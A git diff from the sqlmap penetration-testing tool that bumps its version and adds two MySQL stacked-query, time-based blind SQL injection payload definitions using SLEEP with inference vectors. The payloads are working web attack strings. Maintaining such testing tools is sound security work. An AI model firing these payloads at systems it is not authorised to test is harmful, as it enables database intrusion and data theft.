diff --git a/lib/core/settings.py b/lib/core/settings.py
index 6ebf65770..6cb4d7d0a 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -19,7 +19,7 @@ from lib.core.enums import OS
 from lib.core.revision import getRevisionNumber
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.0.6.66"
+VERSION = "1.0.6.67"
 REVISION = getRevisionNumber()
 STABLE = VERSION.count('.') <= 2
 VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
diff --git a/xml/payloads/04_stacked_queries.xml b/xml/payloads/04_stacked_queries.xml
index cf86feb4a..0ce0ee825 100644
--- a/xml/payloads/04_stacked_queries.xml
+++ b/xml/payloads/04_stacked_queries.xml
@@ -43,6 +43,47 @@
         </details>
     </test>
 
+     <test>
+        <title>MySQL &gt; 5.0.11 stacked queries (SLEEP - comment)</title>
+        <stype>4</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>0</clause>
+        <where>1</where>
+        <vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <request>
+            <payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <comment>#</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt; 5.0.11</dbms_version>
+        </details>
+    </test>
+
+    <test>
+        <title>MySQL &gt; 5.0.11 stacked queries (SLEEP)</title>
+        <stype>4</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>0</clause>
+        <where>1</where>
+        <vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <request>
+            <payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>MySQL</dbms>
+            <dbms_version>&gt; 5.0.11</dbms_version>
+        </details>
+    </test>
+
     <test>
         <title>MySQL &lt; 5.0.12 stacked queries (heavy query - comment)</title>
         <stype>4</stype>